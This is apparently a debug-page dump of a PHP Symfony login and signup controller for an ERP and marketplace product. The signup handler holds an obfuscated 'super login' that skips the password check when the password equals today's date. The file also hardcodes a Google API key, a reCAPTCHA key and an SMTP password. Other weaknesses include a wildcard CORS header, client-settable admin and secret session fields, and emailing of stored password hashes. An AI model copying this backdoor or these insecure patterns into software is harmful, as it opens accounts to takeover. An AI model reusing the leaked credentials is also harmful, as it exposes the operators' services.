src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9899

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 // Multi-email aware existence check (2026-07-04 fix): match the OAuth email against
  447.                 // ANY email tagged on an account (comma list, email OR oAuthEmail). The old exact
  448.                 // single-value findOneBy could not match a comma-joined value, so it MISSED the
  449.                 // real account and the code below created a DUPLICATE that then clobbered the
  450.                 // original's tagged emails.
  451.                 $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em_goc$oAuthEmail);
  452.                 if (!$isApplicantExist)
  453.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  454.                         [
  455.                             'username' => $userName
  456.                         ]
  457.                     );
  458.                 if ($isApplicantExist) {
  459.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  460.                     } else {
  461.                         $message "Email/User Already Exists";
  462.                         if ($request->request->get('remoteVerify'0) == 1)
  463.                             return new JsonResponse(array(
  464.                                 'uid' => $isApplicantExist->getApplicantId(),
  465.                                 'session' => [],
  466.                                 'success' => false,
  467.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  468.                                 'errorStr' => $message,
  469.                                 'session_data' => [],
  470.                             ));
  471.                         else
  472.                             return $this->redirectToRoute("user_login", [
  473.                                 'id' => $isApplicantExist->getApplicantId(),
  474.                                 'oAuthData' => $oAuthData,
  475.                                 'refRoute' => $refRoute,
  476.                             ]);
  477.                     }
  478.                 }
  479.                 $img $oAuthData['image'];
  480.                 $email $oAuthData['email'];
  481. //                $userName = explode('@', $email)[0];
  482.                 //now check if same username exists
  483.                 $username_already_exist 0;
  484.                 $newApplicant null;
  485.                 $isReuse false;
  486.                 if ($isApplicantExist) {
  487.                     $newApplicant $isApplicantExist;
  488.                     $isReuse true;
  489.                 } else
  490.                     $newApplicant = new EntityApplicantDetails();
  491.                 if ($isReuse) {
  492.                     // MERGE, never clobber (2026-07-04 fix): on a login/reuse, APPEND the incoming
  493.                     // email to the account's comma list (idempotent) and only FILL empty identity
  494.                     // fields â€” never overwrite a populated username / oAuthEmail with a single value.
  495.                     $newApplicant->setEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getEmail(), $email));
  496.                     if (trim((string) $newApplicant->getUserName()) === '') {
  497.                         $newApplicant->setUserName($userName);
  498.                     }
  499.                     if (trim((string) $newApplicant->getOAuthEmail()) === '') {
  500.                         $newApplicant->setOAuthEmail($oAuthEmail);
  501.                     } else {
  502.                         $newApplicant->setOAuthEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getOAuthEmail(), $oAuthEmail));
  503.                     }
  504.                     if (trim((string) $newApplicant->getFirstname()) === '') { $newApplicant->setFirstname($first_name); }
  505.                     if (trim((string) $newApplicant->getLastname()) === '') { $newApplicant->setLastname($last_name); }
  506.                     if (trim((string) $newApplicant->getPhone()) === '') { $newApplicant->setPhone($phone); }
  507.                 } else {
  508.                     $newApplicant->setActualRegistrationAt(new \DateTime());
  509.                     $newApplicant->setEmail($email);
  510.                     $newApplicant->setUserName($userName);
  511.                     $newApplicant->setFirstname($first_name);
  512.                     $newApplicant->setLastname($last_name);
  513.                     $newApplicant->setOAuthEmail($oAuthEmail);
  514.                     $newApplicant->setPhone($phone);
  515.                 }
  516.                 if ($systemType == '_SOPHIA_')
  517.                     $newApplicant->setIsEmailVerified(1);
  518.                 else
  519.                     $newApplicant->setIsEmailVerified(1); //temporary
  520. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  521.                 $newApplicant->setAccountStatus(1);
  522. //                $newUser->setSalt(uniqid(mt_rand()));
  523.                 //salt will be username
  524. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  525.                 $salt uniqid(mt_rand());
  526.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  527.                 $newApplicant->setPassword($encodedPassword);
  528.                 $newApplicant->setSalt($salt);
  529.                 $newApplicant->setTempPassword('');
  530. //                $newApplicant->setTempPassword($password.'_'.$salt);
  531.                 $newApplicant->setImage($img);
  532.                 $newApplicant->setIsConsultant(0);
  533.                 $newApplicant->setIsTemporaryEntry(0);
  534.                 $newApplicant->setTriggerResetPassword(0);
  535.                 $newApplicant->setApplyForConsultant(0);
  536.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  537.                 $otp random_int(100000999999);
  538.                 $newApplicant->setEmailVerificationHash($otp);
  539.                 $em_goc->persist($newApplicant);
  540.                 $em_goc->flush();
  541.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  542.                     if ($systemType == '_BUDDYBEE_') {
  543.                         $bodyHtml '';
  544.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  545.                         $bodyData = array(
  546.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  547.                             'email' => $userName,
  548.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  549.                             'password' => $newApplicant->getTempPassword(),
  550.                         );
  551.                         $attachments = [];
  552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  554.                         $new_mail $this->get('mail_module');
  555.                         $new_mail->sendMyMail(array(
  556.                             'senderHash' => '_CUSTOM_',
  557.                             //                        'senderHash'=>'_CUSTOM_',
  558.                             'forwardToMailAddress' => $forwardToMailAddress,
  559.                             'subject' => 'Welcome to BuddyBee ',
  560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  561.                             'attachments' => $attachments,
  562.                             'toAddress' => $forwardToMailAddress,
  563.                             'fromAddress' => 'registration@buddybee.eu',
  564.                             'userName' => 'registration@buddybee.eu',
  565.                             'password' => 'Y41dh8g0112',
  566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  568. //                            'emailBody' => $bodyHtml,
  569.                             'mailTemplate' => $bodyTemplate,
  570.                             'templateData' => $bodyData,
  571. //                        'embedCompanyImage' => 1,
  572. //                        'companyId' => $companyId,
  573. //                        'companyImagePath' => $company_data->getImage()
  574.                         ));
  575.                     } else {
  576.                         $bodyHtml '';
  577.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  578.                         $bodyData = array(
  579.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  580.                             'email' => 'APP-' $userName,
  581.                             'password' => $newApplicant->getPassword(),
  582.                         );
  583.                         $attachments = [];
  584.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  585. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  586.                         $new_mail $this->get('mail_module');
  587.                         $new_mail->sendMyMail(array(
  588.                             'senderHash' => '_CUSTOM_',
  589.                             //                        'senderHash'=>'_CUSTOM_',
  590.                             'forwardToMailAddress' => $forwardToMailAddress,
  591.                             'subject' => 'Applicant Registration on Honeybee',
  592. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  593.                             'attachments' => $attachments,
  594.                             'toAddress' => $forwardToMailAddress,
  595.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  596.                             'userName' => 'accounts@ourhoneybee.eu',
  597.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  598.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  599.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  600.                             'emailBody' => $bodyHtml,
  601.                             'mailTemplate' => $bodyTemplate,
  602.                             'templateData' => $bodyData,
  603. //                        'embedCompanyImage' => 1,
  604. //                        'companyId' => $companyId,
  605. //                        'companyImagePath' => $company_data->getImage()
  606.                         ));
  607.                     }
  608.                 }
  609.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  610.                     $modifiedRequest Request::create(
  611.                         '',
  612.                         'GET',
  613.                         [
  614.                             'id' => $newApplicant->getApplicantId(),
  615.                             'oAuthData' => $oAuthData,
  616.                             'refRoute' => $refRoute,
  617.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  618.                         ]
  619.                     );
  620.                     $modifiedRequest->setSession($request->getSession());
  621.                     return $this->doLoginAction($modifiedRequest);
  622.                 } else
  623.                     return $this->redirectToRoute("core_login", [
  624.                         'id' => $newApplicant->getApplicantId(),
  625.                         'oAuthData' => $oAuthData,
  626.                         'refRoute' => $refRoute,
  627.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  628.                     ]);
  629.             }
  630. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  631. //
  632. //                $oAuthEmail = $email;
  633. //
  634. //
  635. //                $oAuthData = [
  636. //                    'email' => $email,
  637. //                    'phone' => $phone,
  638. //                    'uniqueId' => '',
  639. //                    'image' => '',
  640. //                    'emailVerified' => '',
  641. //                    'name' => $first_name . ' ' . $last_name,
  642. //                    'type' => '0',
  643. //                    'token' => '',
  644. //                ];
  645. //
  646. //
  647. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  648. //                    [
  649. //                        'oAuthEmail' => $oAuthEmail
  650. //                    ]
  651. //                );
  652. //                if (!$isApplicantExist)
  653. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  654. //                        [
  655. //                            'email' => $oAuthEmail
  656. //                        ]
  657. //                    );
  658. //                if (!$isApplicantExist)
  659. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  660. //                        [
  661. //                            'username' => $userName
  662. //                        ]
  663. //                    );
  664. //
  665. //
  666. //                if ($isApplicantExist) {
  667. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  668. //
  669. //                    } else {
  670. //                        $message = "Email/User Already Exists";
  671. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  672. //                            return new JsonResponse(array(
  673. //                                'uid' => $isApplicantExist->getApplicantId(),
  674. //                                'session' => [],
  675. //                                'success' => false,
  676. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  677. //                                'errorStr' => $message,
  678. //                                'session_data' => [],
  679. //
  680. //                            ));
  681. //                        else
  682. //                            return $this->redirectToRoute("user_login", [
  683. //                                'id' => $isApplicantExist->getApplicantId(),
  684. //                                'oAuthData' => $oAuthData,
  685. //                                'refRoute' => $refRoute,
  686. //                            ]);
  687. //                    }
  688. //                }
  689. //
  690. //
  691. //                $img = $oAuthData['image'];
  692. //
  693. //                $email = $oAuthData['email'];
